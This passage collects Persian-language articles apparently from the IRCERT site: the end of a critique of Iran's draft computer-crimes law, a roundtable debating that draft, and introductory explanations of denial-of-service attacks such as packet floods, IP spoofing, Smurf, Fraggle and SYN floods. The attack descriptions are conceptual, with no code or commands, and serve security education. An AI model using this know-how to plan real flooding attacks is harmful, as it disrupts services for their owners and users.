۲- در قسمتی از قانون برای ماموران دولتی که در اثر بی‌احتیاطی باعث دسترسی افراد بدون صلاحیت به اطلاعات باارزش شوند،‌ مجازات تعیین گشته است. نکته‌ای که باید به آن اشاره شود، تعداد معدود متخصصان امنیت و حفاظت داده در کشور است که از دانش و اطلاعات کافی و به‌روز شده برای محافظت داده‌ها برخوردار باشند. جالب اینجاست که خود همین افراد معدود نیز، به این نکته معترفند که هیچگاه نمی‌توان نسبت به محافظت از داده‌ها، اطمینان صد در صد داشت. زیرا معمولا (نه همیشه) شکاف‌های امنیتی بعد از مورد سوءاستفاده قرار گرفتن، مرمت می‌شوند. بنابراین همیشه باید برای یک سیستم داده محافظت شده حتی توسط به‌روز ترین افراد و ابزارها، درصدی احتمال خطر در نظر گرفت که همین درصد نامساوی با صفر باعث عدم پذیرش مسوولیت محافظت از اطلاعات توسط ماموران دولتی خواهد گشت. نرخ شگفت‌انگیز ظهور روزانه ویروس‌ها را نیز مدنظر داشته باشید!

۳- در قسمتی از قانون، ارائه دهندگان خدمات اینترنتی موظف به ذخیره داده‌های مبادله‌شده توسط کاربرانشان بمدت سه ماه شده‌اند. یک محاسبه ساده برای تخمین این حجم از اطلاعات، نیاز ارائه دهندگان خدمات اینترنتی را به حجم زیادی از ابزار ذخیره‌سازی اطلاعات، علیرغم پهنای باند کمی که در اختیار کاربران قرار می‌گیرد، مشخص می‌سازد. اجازه دهید برای روشن شدن مطلب مثالی بزنیم. اگر فرض کنیم که یک ICP پهنای باند 16 مگابیت را در اختیار داشته باشد (پهنای باندی که بین این شرکتها در حال حاضر بسیار معمول است) ، حجم اطلاعاتی که روزانه باید ذخیره شود برابر خواهد بود با حدود 181 گیگابایت اطلاعات و این حجم در سه ماه به حدود 16 هزار گیگابایت خواهد رسید! چگونگی ذخیره سازی و سپس پردازش این اطلاعات موضوعی است که باید به آن اندیشید. اما اخبار و شنیده‌ها حکایت از آن دارد که در آینده نزدیک کاربران کشورمان می‌توانند برای دسترسی به اینترنت از خطوط پرسرعت بهره‌مند شوند. ضرب عدد تخمین‌زده شده قبل در میزان افزایش پهنای باند، پایبندی ارائه‌دهندگان خدمات اینترنتی به این ماده از قانون را بدون اینکه قصد تخلف از قانون را داشته باشند، زیرسوال می‌برد.

۴- در قسمتهایی از این قانون، سرویس‌دهندگان و سرویس‌گیرندگان اینترنت نسبت به محتویات به نمایش در آمده یا منتشر شده مسوولند. این مسوولیت تا جایی پذیرفته است که وجود یا انتشار این محتویات به عمد صورت گرفته باشد. از نظر دور نداریم که امروز با توجه به انواع نرم‌افزارهای جاسوسی یا تبلیغاتی، ویروس‌ها و کرمهای اینترنتی، امکان ارسال و دریافت اطلاعات به یک سیستم کامپیوتری متصل به اینترنت بدون کسب اجازه از صاحب آن امکانپذیر است. امکان سرقت آدرس‌های ایمیل شخص قربانی و سوءاستفاده از آنها وجود دارد. همچنین بازکردن صفحات وب که دربردارنده محتویات مستهجن هستند، بر روی کامپیوتر فرد، بدون کسب اجازه از وی میسر است. بنابراین آنچه که در این میان دقت بسیار بالایی می‌طلبد، تدابیری است که کارشناسان فنی و حقوقی درگیر در تدوین این قانون، در اثبات تعمد در هرکدام از تخلفات مذکور می‌اندیشند.

و اما ...

تغییرات و پیشرفتهای سریع در زمینه کامپیوتر و اینترنت، گاهی پیش بینی آینده آن را حتی برای متخصصان فن نیز غیرممکن می‌کند. بنابراین در زمینه تدوین قانون مناسب، برداشتن گامهای آهسته اما محکم، بسیار مطمئن‌تر از حرکتهای سریع اما بدون رایزنیها و تجارب کافی است. اگر موادی از این قانون که هنوز نمی‌توان با اطمینان در مورد ضمانت اجرای آنها سخن گفت، به تصویب برسند، علاوه بر ضربات مهلکی که بر پیکره نهال فناوری اطلاعات در کشور وارد می‌کنند، چهره قانون اساسی کشورمان را نیز به شدت مخدوش خواهند کرد. کلام آخر اینکه فناوری اطلاعات و قانون مجازات جرایم رایانه‌ای دو نهال هستند که وجود، رشد و بالندگی هرکدام جز در سایه و به اتکای دیگری، میسر نیست.


﻿ IRCERT - میز گرد قانون مبارزه با جرایم رایانه‌ای - مقالات

میز گرد قانون مبارزه با جرایم رایانه‌ای

مقدمه:

گروه امداد امنیت کامپیوتری ایران از ابتدا قانون مجارات جرایم رایانه ای را با دقت زیر نظر داشته و سعی کرده است با جمع آوری نظرات ، به تدوین قانونی مناسب کمک کند. به همین دلیل بود که پس از حضور در همایش بررسی ابعاد حقوقی فناوری اطلاعات و جمع آوری نظرات بعضی کارشناسان، سعی داشت تا در جلسه ای حضوری و در محیطی صمیمی با دبیر محترم کمیته مبارزه با جرایم رایانه ای به بحث و بررسی قانون بپردازد. خوشبختانه این امر با کمک ماهنامه دنیای کامپیوتر و ارتباطات میسر شد و جلسه ای در دفتر این ماهنامه تشکیل گردید. در این جلسه آقایان رضا پرویزی(دبیر کمیته مبارزه با جرائم رایانه‌ای)، شاهپور دولتشاهی(کارشناس حقوق)، محمود اروج‌زاده (مدیرمسئول ماهنامه ماهنامه دنیای کامپیوتر و ارتباطات) ، علی مولوی(کارشناس فناوری اطلاعات و عضو تحریریه ماهنامه دنیای کامپیوتر و ارتباطات)، علیرضا قمی(کارشناس امنیت شبکه) و سیدمحمدرضا رشتی (کارشناس فناوری اطلاعات و مدیر سایت "گروه امداد امنیت کامپیوتری ایران")حضور داشتند. متن ذیل گزارشی مختصر از جلسه فوق است.

اروج‌زاده: جناب آقای پرویزی! لطفاً مختصراً تاریخچه‌ای از زمینه و چگونگی تدوین این پیش‌نویس بفرمایید.

پرویزی: در اواخر شهریور سال 81 با دستور آقای هاشمی شاهرودی: کمیته مبارزه با جرایم رایانه‌ای برای تدوین قوانین لازم در زمینه IT تاسیس شد، این مسئله البته بنا به درخواست دبیر شورای عالی اطلاع‌رسانی، آقای جهانگرد بود، ایشان در شورای معاونین قوه قضاییه، طرح تکفا، و ضرورت زیرساخت‌های حقوقی و قانونی را مطرح کرده بود: مسئولیت کمیته به بنده محول شد و سپس چندین جلسه درباره قوانین لازم در این زمینه، و همچنین اولویت هر کدام مورد بحث قرار گرفت.

به این نتیجه رسیدیم که اولویت، ایجاد امنیت در فضای سایبر است. در این زمینه در کشورمان کاری تا بحال نشده بود. البته قبلاً یک کار مطالعاتی در شورای عالی انفورماتیک شده بود. ما به سراغ همه افراد و صاحبنظران در این زمینه رفتیم و نظراتشان را جمع‌آوری کردیم، طبیعتاً کسانی که به کار تدوین این قانون می‌پردازند، باید هم مسلط به حقوق و هم به فناوری اطلاعات باشند، یافتن چنین افرادی آسان نبود، ابتدا به نظر می‌رسید که کسانی را که با فناوری آشنا هستند آموزش حقوق بدهیم، که چنین چیزی در کوتاه مدت ممکن نبود، به این نتیجه رسیدیم که این که حقوقدانانی را که الفبای فناوری اطلاعات را بشناسند، آموزش دهیم، عملی‌تر است.

با فراخوانی در دانشکده‌های حقوق، از متخصصین فوق لیسانس و دکترا تعداد زیادی آمدند و از بین ایشان کسانی که با کامپیوتر ناآشنا نبودند را در کوتاه مدت تعدادی آموزش مبانی فناوری اطلاعات دادیم. همچنین در حدامکان هم مبانی حقوق کیفری فناوری اطلاعات را آموزش دیدند، ما با همین گروه کار را شروع کردیم.

قمی: در مورد تعداد این گروه بفرمایید.

پرویزی: از دانشکده حقوق دانشگاه تهران و شهید بهشتی و امام صادق و دانشگاه آزاد و همچنین از بین قضات تهران، 22 نفر فقط در بخش حقوقی داشتیم. همراه با پیشرفت کار، ما مشاوره هم داشتیم، مثلاً در زمینه حقوق جزایی بین‌الملل، معاون دادستان در امور بین‌الملل به ما مشاوره می‌داد و همچنین قضات. در کنار این گروه، افراد فنی هم حضور داشتند، و از انجمن ISPها، انجمن شرکت‌های انفورماتیک، مجمع ناشران الکترونیک، تعدادی کارشناس امنیتی شبکه و از مرکز تحقیقات مخابرات، در مجموع حدود 50 نفر این گروه را تشکیل داده بودند. چندین جلد کتاب خارجی تهیه کردیم و نیز از منابع اینترنتی و خارجی.

در مجموع این پیش نویس، با پشتوانه حقوق و فنی و با تلاش و مشاوره فراوان تهیه شده است. بعد این پیش‌نویس را در سطح بالاتری بردیم و در جلسه‌ای با حضور آقای جهانگرد و آقای جمشیدی به طورهفتگی بررسی می‌شد. در آنجا از 80 ماده به کمتر از 60 ماده تقلیل پیدا کرد. ما به این مرحله هم بسنده نکردیم، در همایش بررسی حقوق فناوری اطلاعات، آن را مورد بررسی قرار دادیم. البته باز هم در لایه‌هایی دیگر مورد نظرخواهی قرار دارد و تا گذر از مرحله قوه قضاییه به دولت، امکان ویرایش آن وجود دارد، همین طور در دولت هم قابل تغییرات. بعضی نکات در این هست که صرفاً به دلیل تبعیت از تعاریف کلی‌تر وجود دارد، مثلاً در زمینه تعریف "سیستم رایانه‌ای" با وجود تعاریف گوناگون در جهان، ما ترجیح دادیم که تعریف قانون تجارت الکترونیک را ملاک قراردهیم، مانند "داده رایانه‌ای"، "اطلاعات"، "داده محتوا" و... ما نهایتاً همه نظرات را می‌خوانیم و دنبال می‌کنیم، حتی وبلاگی را هم که در نقد و اعتراض به این قانون به وجود آمده مطالعه می‌کنیم.

اروج‌زاده: مدل مورد نظرتان در تدوین این قانون چه بوده؟ و سهم و نقش هر کدام از دو جنبه حقوقی و فناوری چه میزان بوده است؟

پرویزی: در این زمینه در دنیا عموماً به 3 روش عمل می‌شود، در برخی کشورها مانند هند، همان قوانین کیفری سنتی که دارند، مورد استفاده قرار می‌گیرد و اگر چنانچه موضوع جدیدی (مثلاً دسترسی غیرمجاز در شبکه) مطرح شود، ماده یا موادی به همان قانون یا قانون دیگر اینترنتی اضافه می‌کنند.
گروه دیگری (مانند برخی ایالت‌های امریکا) حتی سرقت و قتل کامپیوتری و... را هم در جرایم کامپیوتری قرار می‌دهند. در مدل سوم، درجایی که قوانین سنتی جوابگو نباشند، به جرایم کامپیوتری تبدیل می‌شوند، همچنین بعضی موارد که در قوانین سنتی جرم محسوب می‌شوند، ولی وقتی وارد فضای رایانه‌ای می‌شوند، ابهام ایجاد می‌کنند که جرم هستند یا نه؟ مانند "نشر اکاذیب" (که مصداق ماده 698 است) و یا "جعل" (در ماده 523) که گفته شده "هر کس که سندی را بتراشد یا بخراشد و . . . " در جرایم سنتی، مصداق آن حتماً در زمینه سند مکتوب است، بنابراین در نوشته کامپیوتری مورد ابهام است، مورد بحث قرار می‌گیرند.
ما در جاهایی که خلاء قانونی داشتیم آنرا پر کرده‌ایم. مثلاً در قانون داریم که هرکس که وارد تا سیاست نظامی به صورت غیرمجاز شود چند سال حبس می‌شود، حالا اگر وارد سایت‌های نظامی شود چطور؟ طبیعتاً قابل اجرا نیست و سعی کرده‌ایم این خلاء ها را پر کنیم.

رشتی: یکی از مشکلات این است که تا به حال مثلاً امکان جاسوسی از طریق تلفن وجود داشت، ولی مگر قانون جاسوسی از طریق تلفن داشتیم که حالا جاسوسی رایانه‌ای داشته باشیم؟ ولی با توضیح شما مشخص شد که در واقع رفع ابهام است.

پرویزی: ما همه قانون قوانین مرتبط با جاسوسی را مطالعه کردیم، آیا اسناد طبقه‌بندی شده و سری، شامل داده‌های کامپیوتری هم می‌شود؟ طبعاً نه! بنابراین باید ابتدا داده‌های سری را تعریف کرد و سپس تکلیف آنها را مشخص کرد. ببینید قاضی در مقام قضاوت باید مبتنی بر کلمه به کلمه قانون قضاوت کند، قانون به قدری فراگیر و شفاف باشد که امکان تفسیر نباشد.

رشتی: در قانون در جایی بحث بعضی ابزارها و نرم‌افزارهای امنیتی است، شما خوب می‌دانید که اینها اکثراً دو منظوره هستند بنابراین این ماده شامل گروه‌های فعال و متخصص امنیتی هم می‌شوند...

پرویزی: ببینید نظراتی که برخی دوستان قوه قضاییه داده‌اند این است که در این موارد قید "صرفاً برای ارتکاب جرم" هم بیاید، ببینید، مثلاً به نظر شما آیا Sub7 صرفاً برای ارتکاب جرم به کار می‌رود یا نه؟

قمی: به نظر من لزوماً نه!

پرویزی: چرا، ممکن است الان نباشد، ولی فردا ممکن است هر کسی استفاده غیرمجاز از آن بکند...

قمی: به نظر من ممکن نیست ابزاری پیدا کنیم که "صرفاً" برای هک و ارتکاب جرم باشد، عموماً استفاده امنیتی و مدیریت امنیت هم می‌شود...

پرویزی: مثلا ابزاری هست که در تماس Dial-up شما با شرکت ISP فقط و فقط برای شنود به کار می‌رود، آن هم شنود داده‌ها

قمی: اما شرکت‌های مخابراتی همین ابزار را در کنار تجهیزات خود می‌فروشند برای Diagnostics

پرویزی: ببینید مانند اسلحه است که داشتن آن در کشور ما جرم است، ولی قاضی و پلیس و . . . قانوناً آن را دارند.

رشتی: اگر یک شرکت خصوصی از این ابزارها به منظور بررسی وضعیت یک شبکه استفاده کندتا بتواند نقایص آن را بیابد وگزارش کند، الان مشمول انجام جرم است در این قانون!

پرویزی: معلوم است که بخش‌هایی به وجود می‌آیند که کار بررسی و مطالعه و تأمین امنیت شبکه‌ها را انجام خواهند داد، و قاعدتاً باید قانون دیگری باشد که در مورد وضعیت آنها نظر بدهد، این قانون فعلی قرار نیست که در همه مورد نظر بدهد و تکلیفشان را معلوم کند. مثل کسی که به دلایل مشخصی می‌تواند تقاضای مجوز داشتن اسلحه بکند...

قمی: باید محیط وشرایط کلی به گونه‌ای باشد که برای قانون مساعد باشد، مثلاً مدتی پیش دیدم که در امریکا برعلیه "مهندسی معکوس" (Reverse Engineering) نرم‌افزارها در حال قانون گذاری هستند، در حالی که تا مدتی پیش خودشان از آن درآمد کسب می‌کردند ولی حالا که چین وارد این عرصه شده و آنها درآمدشان از این بابت کاهش یافته، علیه آن قانون وضع می‌کنند بنابراین قانون باید ناظر برسود و منافع ملی باشد، مثال دیگر، مدتی پیش نویسنده ویروس "سارس" در آلمان دستگیر شد، جالب است که نوعی غرور در این کشور از این بابت به وجود آمد! که قابل توجه است و کمتر جایی به این موضوع پرداخته شد، نکته پنهان در این قضیه، انتقال سرمایه عظیمی در زمینه نرم‌افزار از آمریکا به کشور چک است، چون بیشترین منبع هک در دنیا کشور چک است... منظورم این است که تجربه آنها نشان می‌دهد که اجازه دادند که سیستم آنها به سطحی از بلوغ برسد، (که البته ممکن است کمی هم بینظمی در آن وجود داشته باشد) ولی در مجموع نبودن قید و بندها باعث سود عمومی برای کشور می‌شود، با رسیدن به بلوغ، بحث قانون و محدودیت‌ها به وجود می‌آید. به نظر من این قانون در شرایط فعلی برای کشورما و با شکل فعلیاش شاید زود باشد...

پرویزی: اشکالی که در چنین نظری وجود دارد، بی‌قانونی و هرج و مرجی است که به وجود می‌آید و قابل کنترل نیست، در حالی که از ابتدا می‌توان همه مقدمات و شرایط و نیازها و مشکلات را دید، مضافاً این که این تکنولوژی هم بسیار سریع و درحال تغییرات و اگر بخواهیم صبر کنیم تا در آینده برای آن بستر سازی و قانونگذاری کنیم، دیگر زمان را از دست خواهیم داد.

قمی: البته میتوان نوعی قانون مینیمالیستی داشت که نیاز امروز را برطرف کند، و نه قانون حداکثری و گسترده

پرویزی: اتفاقاً این قانون کاملاً حداقلی است و خیلی مباحث در آن دیده نشده، مثلاً بحث اسپم و...

دولتشاهی: اگر می‌بینید که این قانون کمی بیشتر و جلوتر از وضع و شرایط فعلی ما را هدف قرار داده است، به این خاطر است که اصولاً مطابق قانون اساسی، یکی ازوظایف قوه قضاییه، "پیشگیری از جرم" است، و با توجه به سرعتی که در وقوع و پیشرفت جرایم رایانه‌ای دیده می‌شود، نمی‌توانیم هر سال قانون تازه‌ای را وضع کنیم، این سرعت ایجاب می‌کند که ما پیش‌بینی 5 سال آینده را بکنیم، این به اقتضای ماهیت جرایم رایانه‌ای است.

اروج‌زاده: پیامد مهمی که قانون حداکثری و سختگیری می‌تواند داشته باشد هم به نظر من قابل توجه است، فرض کنید که نتیجه یک قانون، سختی و محدودیت زیاد در کار فعالان این بخش مثل ISPها و شرکت‌های میزبان و... باشد، قطعاً این محدودیت باعث می‌شود بخش زیادی از سرمایه‌گذاران این حوزه خارج شوند، و چون اصولاً اینترنت و کلاً IT در کشورمان توسط بخش خصوصی دنبال می‌شود و توسعه پیدا می‌کند، بعید نیست که به کلیت این حوزه مهم و مؤثر علمی و اقتصادی کشورمان لطمه اساسی بخورد.

پرویزی: البته در دنیا معمولاً شرکتی به نام ISP همه خدمات از قبیل اینترنت و هاستینگ و ثبت دامنه و... را انجام می‌دهد، ولی ما اینجا آمده‌ایم و به دلایل مختلف آن را تکه‌تکه کرده‌ایم! نکته بعد این که مطابق مستندات و قوانین مختلف در دنیا، مطالعه نشان می‌دهد که مهمترین اصل ، "از بین بردن کردن خلاف در نطفه" است، که بستر اصلی آن در "هاستینگ" است، یعنی از طریق آن می‌توان مشکلات مراحل بعدی در ISP و... را پیشگیری کرد؛ مثلاً شرکتی که یک نام دامنه مسئله‌دار را ثبت می‌کند، قطعاً از نام آن می‌تواند بفهمد که هدف از سایت آن چه خواهد بود، آیا این شرکت هاستینگ مسئولیتی نخواهد داشت؟ ما در این باره بحث‌های فراوانی داشتیم، مسئولیتی هم که برای هاست در قانون آمده، برای مسائل اخلاقی و پورن است، نه برای مسائل سیاسی و توهین و امثال اینها. حتی در این موارد هم طوری نیست که هاست موظف به قضاوت باشد، بلکه فقط مصادیق بارز مانند عکس‌های پورنوگرافی و... مسئول است.

مولوی: البته معمولاً به این ترتیب هم نیست که این موارد را بتوان به راحتی پیدا کرد، یعنی این که چنین مصادیقی در همان صفحات اصلی و اولیه قرار نیست که مدیر هاست بتواند به راحتی آن را پیدا کند، بنابراین نمی‌توان همیشه آن را "مصداق بارز" دانست...

پرویزی: قطعاً در آیین‌نامه اجرایی قانون، موضوع به تفصیل بررسی خواهد شد، یعنی اگر کسی روی هاست شما مورد خلافی ببیند، (مثلاً توهین به خودش) در این مورد با اعلام قانونی، آن مورد باید از روی هاست حذف شود (ونه همة سایت) و اگر در طول زمان معینی، فرد مدعی نتواند از مجاری قانونی اقدام کند، مسئله منتفی خواهد شد، همچنین در قانون شبکه‌های اطلاع‌رسانی (که الآن در دست کار و بررسی است) همه جزئیات و ضوابط و شبکه‌ها دقیق‌تر مشخص می‌گردد.

این نکته را هم نباید فراموش کرد که در تدوین این قانون، نمایندگان بخش خصوصی هم حضور داشتهاند(رییس انجمن ISPها) و به اندازه کافی تلاش برای حفظ حقوق بخش خصوصی کرده‌اند.

قمی: نکته دیگر، حفظ حریم خصوصی کاربران است، اگر قرار باشد همه اطلاعات ردوبدل شده کاربران، ذخیره و بررسی گردد که مبادا در آینده جرمی اتفاق بیفتد، این در واقع تجاوز به حریم خصوصی است...

پرویزی : بله، ولی این برداشت ناشی از یک سوءتفاهم رایج است. ببینید، "داده محتوا" و "داده ترافیک" تفاوتشان همین است، از نگاه ناظر خارجی ، من در ساعت خاصی وارد دفتر مجله کامپیوتر و ارتباطات می‌شوم و با آقای اروج‌زاده یک ساعت صحبت می‌کنم، این "داده ترافیک" است و در واقع سابقه کار، ولی این که محتوای صحبت ما چیست Content است. ISP قرار نیست که محتوا را ثبت کند و این که کاربر چه سایت‌هایی را دیده و... بلکه قرار است نوع خدمات اصلی ثبت شود (پروتکل‌ها مثل ... , HTTP , Mail , FTP) و نحوه ارتباط (شامل مبدا ارتباط که آدرس IP آن است) و مدت آن و هویت کاربری که تماس گرفته و مبدا ارتباط (شماره کاربر) یعنی هویت تماس گیرنده باید برای شما مشخص باشد و مسیر هم به این معنا که مثلاً شما از داخل یک LAN وصل شده‌اید به یک ISP و از آنجا به یک ICP کشور، تا اینجا مسیر است.
بنابراین این طور نیست که همه سایت‌هایی که دیده باید ثبت شود و... بلکه فقط "داده ترافیک" ثبت می‌شود، این مفهوم هم دقیقاً مطابق با تعریف کنفرانسیون بین‌المللی جرایم سایبر بوداپست است.

اروج‌زاده: به این ترتیب در واقع کارت اینترنت با این سازوکار فعلی دیگر نمی‌تواند وجود داشته باشد...

پرویزی: بله.

قمی: آنچه از "داده ترافیک" فهمیده می‌شود که باید توسط ISP لاگ گرفته و ثبت شود ظاهراً چیزی مانند سیگنالینگ است در تلفن، بنابراین تصور این که همه فعالیت یک کاربر ثبت شود و حجم عظیمی از اطلاعات باید توسط ISPها ذخیره شود درست نیست.

پرویزی: همین طور است. اینها ناشی از سوءتفاهم است. همان طور که گفتم این پیش‌نویس همچنان در معرض دید و نظر کارشناسان است، همین طور در سایت مخصوص همایش حقوق فناوری اطلاعات. همه صاحبنظران می‌توانند نظرات و انتقادهای خود را بر آن بنویسند.

منبع : http://ccwmagazine.com/Issues/Issue24/vijhe/mizgerd.ASP


﻿ IRCERT - عدم پذیرش سرویس (۱) - مقالات

عدم پذیرش سرویس (۱)

قصد داریم تا طی چند مقاله با نوعی از حمله به نام DoS آشنا شویم که مخفف عبارتDenial-of-Service یا عدم پذیرش سرویس است. همانطور که در روش های معمول حمله به کامپیوترها اشاره مختصری شد، این نوع حمله باعث از کارافتادن یا مشغول شدن بیش از اندازه کامپیوتر می شود تا حدی که غیرقابل استفاده می شود. در بیشتر موارد، حفره های امنیتی محل انجام این حملات است و لذا نصب آخرین وصله های امنیتی از حمله جلوگیری خواهند کرد. شایان گفتن است که علاوه بر اینکه کامپیوتر شما هدف یک حمله DoS قرار می گیرد، ممکن است که در حمله DoS علیه یک سیستم دیگر نیز شرکت داده شود. نفوذگران با ایجاد ترافیک بی مورد و بی استفاده باعث می شوند که حجم زیادی از منابع سرویس دهنده و پهنای باند شبکه مصرف یا به نوعی درگیر رسیدگی به این تقاضاهای بی مورد شود و این تقاضا تا جایی که دستگاه سرویس دهنده را به زانو در آورد ادامه پیدا می کند. نیت اولیه و تأثیر حملات DoS جلوگیری از استفاده صحیح از منابع کامپیوتری و شبکه ای و از بین بردن این منابع است.

علیرغم تلاش و منابعی که برای ایمن سازی علیه نفوذ و خرابکاری مصروف گشته است، سیستم های متصل به اینترنت با تهدیدی واقعی و مداوم به نام حملات DoS مواجه هستند. این امر بدلیل دو مشخصه اساسی اینترنت است:

· منابع تشکیل دهنده اینترنت به نوعی محدود و مصرف شدنی هستند.

زیرساختار سیستم ها و شبکه های بهم متصل که اینترنت را می سازند، کاملاً از منابع محدود تشکیل شده است. پهنای باند، قدرت پردازش و ظرفیت های ذخیره سازی، همگی محدود و هدف های معمول حملات DoS هستند. مهاجمان با انجام این حملات سعی می کنند با مصرف کردن مقدار قابل توجهی از منابع در دسترس، باعث قطع میزانی از سرویس ها شوند. وفور منابعی که بدرستی طراحی و استفاده شده اند ممکن است عاملی برای کاهش میزان تاثیر یک حمله DoS باشد، اما شیوه ها و ابزار امروزی حمله حتی در کارکرد فراوان ترین منابع نیز اختلال ایجاد می کند.

· امنیت اینترنت تا حد زیادی وابسته به تمام عوامل است.

حملات DoS معمولاً از یک یا چند نقطه که از دید سیستم یا شبکه قربانی عامل بیرونی هستند، صورت می گیرند. در بسیاری موارد، نقطه آغاز حمله شامل یک یا چند سیستم است که از طریق سوءاستفاده های امنیتی در اختیار یک نفوذگر قرار گرفته اند و لذا حملات از سیستم یا سیستم های خود نفوذگر صورت نمی گیرد. بنابراین، دفاع برعلیه نفوذ نه تنها به حفاظت از اموال مرتبط با اینترنت کمک می کند، بلکه به جلوگیری از استفاده از این اموال برای حمله به سایر شبکه ها و سیستم ها نیز کمک می کند. پس بدون توجه به اینکه سیستم هایتان به چه میزان محافظت می شوند، قرار گرفتن در معرض بسیاری از انواع حمله و مشخصاً DoS ، به وضعیت امنیتی در سایر قسمت های اینترنت بستگی زیادی دارد.

مقابله با حملات DoS تنها یک بحث عملی نیست. محدودکردن میزان تقاضا، فیلترکردن بسته ها و دستکاری پارامترهای نرم افزاری در بعضی موارد می تواند به محدودکردن اثر حملات DoS کمک کند، اما بشرطی که حمله DoS در حال مصرف کردن تمام منابع موجود نباشد. در بسیاری موارد، تنها می توان یک دفاع واکنشی داشت و این در صورتی است که منبع یا منابع حمله مشخص شوند. استفاده از جعل آدرس IP در طول حمله و ظهور روش های حمله توزیع شده و ابزارهای موجود یک چالش همیشگی را در مقابل کسانی که باید به حملات DoS پاسخ دهند، قرار داده است.

تکنولوژی حملات DoS اولیه شامل ابزار ساده ای بود که بسته ها را تولید و از «یک منبع به یک مقصد» ارسال می کرد. با گذشت زمان، ابزارها تا حد اجرای حملات از «یک منبع به چندین هدف»، «از چندین منبع به هدف های تنها» و «چندین منبع به چندین هدف»، پیشرفت کرده اند.

امروزه بیشترین حملات گزارش شده به CERT/CC مبنی بر ارسال تعداد بسیار زیادی بسته به یک مقصد است که باعث ایجاد نقاط انتهایی بسیار زیاد و مصرف پهنای باند شبکه می شود. از چنین حملاتی معمولاً به عنوان حملات طغیان بسته (Packet flooding) یاد می شود. اما در مورد «حمله به چندین هدف» گزارش کمتری دریافت شده است.

انواع بسته ها (Packets) مورد استفاده برای حملات طغیان بسته ، در طول زمان تغییر کرده است، اما چندین نوع بسته معمول وجود دارند که هنوز توسط ابزار حمله DoS استفاده می شوند.

· طغیان های TCP: رشته ای از بسته های TCP با پرچم های ( flag ) متفاوت به آدرس IP قربانی فرستاده می شوند. پرچم های SYN، ACK و RST بیشتر استفاده می شوند.

· طغیان های تقاضا\پاسخ ICMP (مانند طغیان های ping): رشته ای از بسته های ICMP به آدرس IP قربانی فرستاده می شود.

· طغیان های UDP: رشته ای از بسته های UDP به آدرس IP قربانی ارسال می شوند.

در مقالات بعدی به بررسی بیشتر حملات DoS خوهیم پرداخت.


﻿ IRCERT - عدم پذیرش سرویس (۲) : انواع حملات - مقالات

عدم پذیرش سرویس (۲) : انواع حملات

در مقاله پیش با حمله DoS آشنا شدیم. از آنجا که حملات طغیان بسته های دیتا معمولاً تلاش می کنند منابع پهنای باند و پردازش را خلع سلاح کنند، میزان بسته ها و حجم دیتای متناظر با رشته بسته ها عوامل مهمی در تعیین درجه موفقیت حمله هستند. بعضی از ابزارهای حمله خواص بسته ها را در رشته بسته ها بدلایلی تغییر می دهند:

· آدرس IP منبع – در بعضی موارد، یک آدرس IP منبع ناصحیح، (روشی که جعل IP نامیده می شود) برای پنهان کردن منبع واقعی یک رشته بسته استفاده می شود. در موارد دیگر، جعل IP هنگامی استفاده می شود که رشته های بسته به یک یا تعداد بیشتری از سایت های واسطه فرستاده می شوند تا باعث شود که پاسخ ها به سمت قربانی ارسال شود. مثال بعدی در مورد حملات افزایش بسته است (مانند smurf و fraggle)

· پورتهای منبع\مقصد- ابزار حمله طغیان بسته بر اساس TCP و UDP ، گاهی اوقات پورت منبع و یا مقصد را تغییر می دهند تا واکنش توسط فیلتر کردن بسته را مشکل تر کنند.

· مقادیر IP Header دیگر - در نهایت در ابزار حمله DoS مشاهده کرده ایم که برای مقداردهی تصادفی، مقادیر Header هر بسته در رشته بسته ها طراحی شده اند که تنها آدرس IP مقصد است که بین بسته ها ثابت می ماند.

بسته ها با خواص ساختگی بسادگی در طول شبکه تولید و ارسال می شوند. پروتکل TCP/IP به آسانی مکانیزم هایی برای تضمین پیوستگی خواص بسته ها در هنگام تولید و یا ارسال نقطه به نقطه بسته ها ارائه نمی کند. معمولاً، یک نفوذگر فقط به داشتن اختیار کافی روی یک سیستم برای بکارگیری ابزار و حملاتی که قادر به تولید و ارسال بسته های با خواص تغییریافته باشند، نیاز دارد.

ژوئن ۱۹۹۹، آغاز بکارگیری ابزار DoS با چندین منبع یا DDos (Distributed DoS) بود.

روش های حمله DoS

در این قسمت به یک تقسیم بندی کلی درباره انواع حملات DoS می پردازیم:

Smurf یا Fraggle

حملات smurf یک از مخرب ترین حملات DoS هستند. (شکل زیر)

در حمله Smurf (حمله براساس ازدیاد بسته های ICMP)، نفوذگر یک تقاضای اکوی ICMP (ping) به یک آدرس ناحیه می فرستد. آدرس منبع تقاضای اکو، آدرس IP قربانی است. (از آدرس IP قربانی بعنوان آدرس برگشت استفاده می شود). بعد از دریافت تقاضای اکو، تمام ماشین های ناحیه پاسخ های اکو را به آدرس IP قربانی می فرستند. در این حالت قربانی هنگام دریافت طغیان بسته های با اندازه بزرگ از تعداد زیادی ماشین، از کار خواهد افتاد.

حمله Smurf برای ازکار انداختن منابع شبکه سیستم قربانی از روش مصرف پهنای باند استفاده می کند. این حمله این عمل را با استفاده از تقویت پهنای باند نفوذگران انجام می دهد. اگر شبکه تقویت کننده ۱۰۰ ماشین دارد، سیگنال می تواند ۱۰۰ برابر شود، و بنابراین حمله کننده با پهنای باند پایین (مانند مودم ۵۶ کیلوبیتی) می تواند سیستم قربانی را با پهنای باند بیشتری (مانند اتصال T1) از کار بیندازد.

حمله Fraggle (تقویت بسته UDP) در حقیقت شباهت هایی به حمله Smurf دارد. حمله Fraggle از بسته های اکوی UDP بر طبق همان روش بسته های اکوی ICMP در حمله Smurf استفاده می کند. Fraggle معمولاً به ضریب تقویت کمتری نسبت به Smurf می رسد، و در بیشتر شبکه ها اکوی UDP سرویسی با اهمیت کمتر نسبت به اکوی ICMP است، بنابراین Fraggle عمومیت Smurf را ندارد.

SYN Flood

حمله طغیان SYN قبل از کشف حمله Smurf بعنوان مخرب ترین شیوه حمله DoS بشمار می رفت. این روش برای ایجاد حمله DoS بر اساس قحطی منابع عمل می کند.

در طول برقراری یک ارتباط معمولی TCP، سرویس گیرنده یک تقاضای SYN به سرویس دهنده می فرستد، سپس سرور با یک ACK/SYN به کلاینت پاسخ می دهد، در نهایت کلاینت یک ACK نهایی را به سرور ارسال می کند و به این ترتیب ارتباط برقرار می شود.

